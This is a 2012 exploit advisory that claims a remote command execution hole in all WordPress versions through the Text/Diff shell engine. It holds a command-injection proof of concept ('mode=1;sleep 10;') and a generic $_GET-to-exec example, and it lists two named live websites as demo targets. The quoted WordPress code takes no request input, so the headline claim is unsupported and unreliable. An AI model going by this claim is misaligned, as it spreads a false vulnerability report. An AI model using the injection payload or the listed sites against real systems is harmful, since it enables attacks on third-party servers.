Wordpress Remote Command Execution

                                                #########################################################
Exploit Title : Wordpress All Versions Remote Command Execution
Author  : Nafsh
Discovered By : Tapco Security & Research Lab
Date : 3 Oct 2012
Home : http://Sec-Lab.Tap-Co.Net
Contact : [email protected]
#########################################################
Source : http://core.svn.wordpress.org/trunk/wp-includes/Text/Diff/Engine/shell.php

Source Of Bug :   
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);
#########################################################
vulnerability concept:

$_GET  +  shell_exec()  =  Command Execution

vulnerability description:

An attacker might execute arbitrary system commands with this vulnerability. User tainted data is used when creating the command that will be executed on the underlying operating system. This vulnerability can lead to full server compromise.

vulnerable example code :
1: exec("./crypto -mode "  .  $_GET["mode"]); 

proof of concept :

/index.php?mode=1;sleep 10;

patch:

Limit the code to a very strict character subset or build a whitelist of allowed commands. Do not try to filter for evil commands. Try to avoid the usage of system command executing functions if possible.

1: $modes  =  array("r",  "w",  "a");  if(!in_array($_GET["mode"],  $modes)) exit ;  
r
#########################################################
D3m0 :  

http://hackrva.org/wp-includes/Text/Diff/Engine/shell.php?Find It In Source=RCE

http://www.hawthorneyoga.com/wp-includes/Text/Diff/Engine/shell.php?Find It In Source=RCE
#########################################################
We are : K0242 | Nafsh | Ehram.shahmohamadi
#########################################################
Tnx : Am!r | M.R.S.CO All Members In Www.IrIsT.Ir & Www.IdC-TeAm.NeT
#########################################################
Greetz : All sec-lab researchers